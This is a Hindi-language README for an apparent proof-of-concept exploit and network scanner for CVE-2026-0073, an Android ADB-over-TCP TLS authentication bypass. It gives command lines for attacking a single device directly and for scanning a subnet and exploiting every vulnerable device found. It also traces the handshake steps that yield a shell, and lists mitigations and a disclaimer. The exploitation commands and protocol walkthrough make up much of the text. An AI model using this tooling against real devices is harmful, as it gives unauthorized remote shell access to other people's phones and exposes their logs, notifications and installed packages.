CVE-2026-0073 — Android ADB TLS प्रमाणीकरण बाईपास

CVE-2026-0073 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और नेटवर्क स्कैनर, जो Android adbd के ADB-ओवर-TCP प्रमाणीकरण पथ में एक गंभीर ज़ीरो-क्लिक, बिना-इंटरैक्शन रिमोट कोड निष्पादन भेद्यता है।

यह भेद्यता adbd_tls_verify_cert() (daemon/auth.cpp) में एक लॉजिक बग है, जहाँ EVP_PKEY_cmp() को एक बूलियन प्रेडिकेट के रूप में माना जाता है। जब एक संग्रहीत RSA कुंजी की तुलना एक गैर-RSA TLS क्लाइंट प्रमाणपत्र (EC P-256 या Ed25519) से की जाती है, तो API -1 (प्रकार बेमेल) लौटाता है, जो C/C++ में सत्य है। यह एक क्रॉस-एल्गोरिदम बेमेल को सफल होस्ट-कुंजी मिलान में बदल देता है — प्रमाणीकरण को पूरी तरह से बाईपास कर देता है।

तकनीकी विवरण BARGHEST से प्राप्त।
आधार PoC कोड SecTestAnnaQuinn से स्रोत।
Android सुरक्षा बुलेटिन — मई 2026 में पैच किया गया।

प्रभाव

shell संदर्भ से एक हमलावर सिस्टम प्रॉपर्टीज़, प्रोसेस स्थिति, लॉग, सूचनाएँ देख सकता है; पैकेज इंस्टॉल और हटा सकता है; डीबग करने योग्य एप्लिकेशन के विरुद्ध run-as का उपयोग कर सकता है; और आगे के शोषण को तैयार कर सकता है।

फ़ाइलें

पूर्वापेक्षाएँ (लक्ष्य डिवाइस)

एक्सप्लॉइट के सफल होने के लिए, लक्ष्य Android डिवाइस में निम्न होना चाहिए:

1. डेवलपर विकल्प सक्षम
2. वायरलेस डिबगिंग या ADB-ओवर-TCP सक्षम (प्लेटफ़ॉर्म adbd TCP सेवा)
3. /data/misc/adb/adb_keys में कम से कम एक पहले से पेयर की गई RSA होस्ट कुंजी
4. ADB TCP पोर्ट (डिफ़ॉल्ट 5555) तक नेटवर्क पहुंच

सेटअप

# वर्चुअल वातावरण बनाएं
uv venv

# इसे सक्रिय करें
source .venv/bin/activate

# निर्भरताएँ इंस्टॉल करें
uv pip install -r requirements.txt

निर्भरताएँ:

वैकल्पिक पैकेज अनुपलब्ध होने पर स्कैनर सुचारू रूप से काम करता है — यह चेतावनी देगा और वैकल्पिक तरीकों (सिस्टम ip कमांड, nmap, TCP कनेक्ट स्कैन) पर वापस आ जाएगा।

उपयोग

मोड 0 — प्रत्यक्ष एकल-लक्ष्य एक्सप्लॉइट

ज्ञात कमजोर डिवाइस पर सीधे हमला करें।

python3 adb_tls_auth_bypass.py 192.168.1.42              # इंटरैक्टिव शेल
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

या स्कैनर के माध्यम से:

python3 adbt_scanner.py --host 192.168.1.42                # इंटरैक्टिव शेल
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

मोड 1 — नेटवर्क स्कैन करें, पहचानें, शोषण करें

कमजोर डिवाइसों के लिए स्थानीय नेटवर्क स्कैन करें और सभी पुष्टि किए गए लक्ष्यों का शोषण करें।

# पूर्ण स्कैन: mDNS → ARP → पोर्ट स्कैन → ADB प्रोब → एक्सप्लॉइट
python3 adbt_scanner.py --scan

# सभी कमजोर डिवाइसों पर एक विशिष्ट कमांड चलाएं
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# केवल रिकॉन — खोजें लेकिन शोषण न करें
python3 adbt_scanner.py --scan --no-exploit

# कई पोर्ट स्कैन करें
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# पहचाने गए सबनेट को ओवरराइड करें (मल्टी-होमेड होस्ट, विशिष्ट रेंज)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# धीमे नेटवर्क के लिए टाइमआउट समायोजित करें
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# mDNS सुनने की विंडो बढ़ाएं
python3 adbt_scanner.py --scan --mdns-timeout 60

# विशिष्ट खोज चरणों को छोड़ें
python3 adbt_scanner.py --scan --no-mdns    # mDNS छोड़ें, केवल ARP
python3 adbt_scanner.py --scan --no-arp     # ARP छोड़ें, केवल mDNS

स्कैनर CLI संदर्भ

--scan                    कमजोर डिवाइसों के लिए नेटवर्क स्कैन करें + शोषण करें
--host HOST               प्रत्यक्ष एकल-लक्ष्य एक्सप्लॉइट
--port PORT               --host मोड के लिए ADB पोर्ट (डिफ़ॉल्ट: 5555)
--cmd COMMAND             चलाने के लिए शेल कमांड
-v, --verbose             विस्तृत लॉगिंग

--mdns-timeout SECONDS    mDNS सुनने की अवधि (डिफ़ॉल्ट: 30)
--ports PORTS             --scan मोड में कॉमा-सेपरेटेड पोर्ट (डिफ़ॉल्ट: 5555)
--subnet CIDR             पहचाने गए सबनेट को ओवरराइड करें (जैसे 192.168.2.0/24)
--connect-timeout SECONDS TCP कनेक्ट टाइमआउट (डिफ़ॉल्ट: 2.0)
--probe-timeout SECONDS   ADB प्रोब टाइमआउट (डिफ़ॉल्ट: 3.0)
--arp-timeout SECONDS     ARP स्वीप टाइमआउट (डिफ़ॉल्ट: 3)
--no-mdns                 mDNS खोज छोड़ें
--no-arp                  ARP स्वीप + पोर्ट स्कैन छोड़ें
--no-exploit              ADB प्रोटोकॉल प्रोब चरण के बाद रुकें

खोज पाइपलाइन

┌─────────────────────────────────────────────────────────────┐
│ 1. सबनेट पहचान  — netifaces → ip route → socket ट्रिक      │
│ 2. mDNS लिसनर     — _adb-tls-connect._tcp (डिफ़ॉल्ट 30s)   │
│ 3. ARP स्वीप         — scapy.arping → nmap -sn             │
│ 4. पोर्ट स्कैन         — प्रत्येक होस्ट:पोर्ट पर TCP कनेक्ट │
│ 5. ADB प्रोटोकॉल प्रोब — CNXN भेजें, प्रतिक्रिया वर्गीकृत करें│
│                                                             │
│    STLS   → कमजोर (एक्सप्लॉइट के लिए आगे बढ़ें)             │
│    AUTH   → लीगेसी ADB प्रमाणीकरण (यह CVE नहीं)            │
│    CNXN   → खुला, कोई प्रमाणीकरण नहीं (पहले से सुलभ)       │
│    NO_ADB → ADB सेवा नहीं                                   │
│                                                             │
│ 6. शोषण      — TLS अपग्रेड → प्रमाणीकरण बाईपास → शेल       │
└─────────────────────────────────────────────────────────────┘

mDNS सबसे सटीक पहचान विधि है: जब वायरलेस डिबगिंग पेयर की जाती है, तो Android स्पष्ट रूप से _adb-tls-connect._tcp प्रसारित करता है। ARP स्वीप + पोर्ट स्कैन एक कैच-ऑल फ़ॉलबैक के रूप में कार्य करता है।

एक्सप्लॉइट तंत्र

चरण 1 — क्लियरटेक्स्ट ADB
  क्लाइंट → CNXN(payload="host::features=...")
  डिवाइस → STLS  (TLS में अपग्रेड आवश्यक)

चरण 2 — क्रॉस-एल्गोरिदम क्लाइंट प्रमाणपत्र के साथ TLS 1.3
  क्लाइंट → STLS उत्तर
  क्लाइंट → TLS 1.3 हैंडशेक + EC P-256 क्लाइंट प्रमाणपत्र
  डिवाइस adbd_tls_verify_cert() कॉल करता है:
    known_evp = /data/misc/adb/adb_keys से RSA कुंजी
    evp_pkey  = क्लाइंट प्रमाणपत्र से EC P-256 कुंजी
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (प्रकार बेमेल)
    if (-1) → verified = true   ← बग: -1 सत्य है

चरण 3 — पोस्ट-TLS ADB सेवा परत
  क्लाइंट डिवाइस CNXN ड्रेन करता है (ट्रांसपोर्ट पहले से ऑनलाइन)
  कोई होस्ट CNXN नहीं भेजा जाता (handle_new_connection किक ट्रिगर होगा)
  क्लाइंट → OPEN(local_id, window=32MB, payload="shell:\x00")
  डिवाइस → OKAY  → शेल स्ट्रीम स्थापित

खतरा मॉडल

प्रत्यक्ष नेटवर्क एक्सपोज़र

• अविश्वसनीय नेटवर्क (कॉफी शॉप, कार्यालय, सम्मेलन) पर वायरलेस डिबगिंग सक्षम छोड़ दी गई
• पोर्ट 5555 पर इंटरनेट-एक्सपोज़्ड ADB (एक्सपोज़र शोध के दौरान अकेले कोरिया में 10,000 से अधिक डिवाइस देखे गए)

मैलवेयर-सहायता प्राप्त स्थिति निर्माण

• ऑन-डिवाइस मैलवेयर डेवलपर विकल्प सक्षम करने, वायरलेस डिबगिंग सक्रिय करने और होस्ट कुंजी पेयर करने के लिए एक्सेसिबिलिटी सेवा का उपयोग करता है — नेटवर्क पीयर द्वारा रिमोट शोषण के लिए डिवाइस को तैयार करता है

सीमाएँ

• रूट नहीं। एक्सप्लॉइट एक shell (uid=2000) संदर्भ प्रदान करता है। कर्नेल समझौता, रूट एक्सेस और हार्डवेयर-समर्थित कीस्टोर कुंजियों के लिए अतिरिक्त उन्नयन की आवश्यकता होती है।
• पेयर की गई कुंजी आवश्यक। लक्ष्य के पास /data/misc/adb/adb_keys में कम से कम एक RSA होस्ट कुंजी होनी चाहिए। वायरलेस डिबगिंग सक्षम लेकिन कभी पेयर नहीं की गई ताज़ा रीसेट डिवाइस कमजोर नहीं है।
• STLS पथ आवश्यक। लीगेसी (गैर-TLS) तंत्रों के माध्यम से TCP पर ADB सेवा देने वाले डिवाइस STLS के बजाय AUTH के साथ प्रतिक्रिया करते हैं, और इस CVE से प्रभावित नहीं होते हैं।
• पैच किए गए डिवाइस प्रतिरक्षित हैं। मई 2026 Android सुरक्षा बुलेटिन में एक फिक्स शामिल है जो EVP_PKEY_cmp जांच को सटीक == 1 रिटर्न मान की आवश्यकता के लिए बदलता है।

शमन

• पैच लागू करें।
• सक्रिय रूप से आवश्यक न होने पर डेवलपर विकल्प अक्षम करें।
• वायरलेस डिबगिंग अक्षम करें।
• ADB को अपने स्थानीय विश्वसनीय नेटवर्क से परे एक्सपोज़ न करें।

संदर्भ

• Android सुरक्षा बुलेटिन — मई 2026
• BARGHEST द्वारा तकनीकी विश्लेषण
• Android स्वीकृतियाँ
• BoringSSL कमिट — EVP_PKEY_cmp रिटर्न मान सामान्यीकरण
• Morpheus स्पाइवेयर रिपोर्ट — Osservatorio Nessuno
• MESH — BARGHEST का Android सुरक्षा उपकरण

अस्वीकरण

यह सॉफ़्टवेयर केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इस रिपॉजिटरी में उपकरण और कोड सुरक्षा पेशेवरों, शोधकर्ताओं और डिवाइस मालिकों की सहायता के लिए हैं:

• समझें कि CVE-2026-0073 प्रोटोकॉल स्तर पर कैसे काम करता है
• अपने स्वयं के डिवाइसों और नेटवर्कों का ऑडिट और मूल्यांकन करें
• शमन विकसित और परीक्षण करें

आपको इस सॉफ़्टवेयर का उपयोग नहीं करना चाहिए:

• किसी भी डिवाइस या नेटवर्क के विरुद्ध जिसके आप मालिक नहीं हैं या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है
• किसी भी अवैध उद्देश्य के लिए या लागू कानूनों के उल्लंघन में
• बिना प्राधिकरण के डेटा एक्सेस, संशोधित या बाहर निकालने के लिए

कंप्यूटर सिस्टम तक अनधिकृत पहुंच अधिकांश न्यायक्षेत्रों में अवैध है और इसके परिणामस्वरूप आपराधिक और नागरिक दंड हो सकते हैं। लेखक और योगदानकर्ता इस सॉफ़्टवेयर के उपयोग से उत्पन्न दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई दायित्व नहीं मानते हैं।

जिम्मेदारी से उपयोग करें। अपने लक्ष्य को जानें। अनुमति प्राप्त करें।

लाइसेंस

CC0 1.0 यूनिवर्सल — कोई अधिकार सुरक्षित नहीं।

कानून द्वारा संभव सीमा तक, लेखकों ने इस कार्य के सभी कॉपीराइट और संबंधित या पड़ोसी अधिकारों को त्याग दिया है।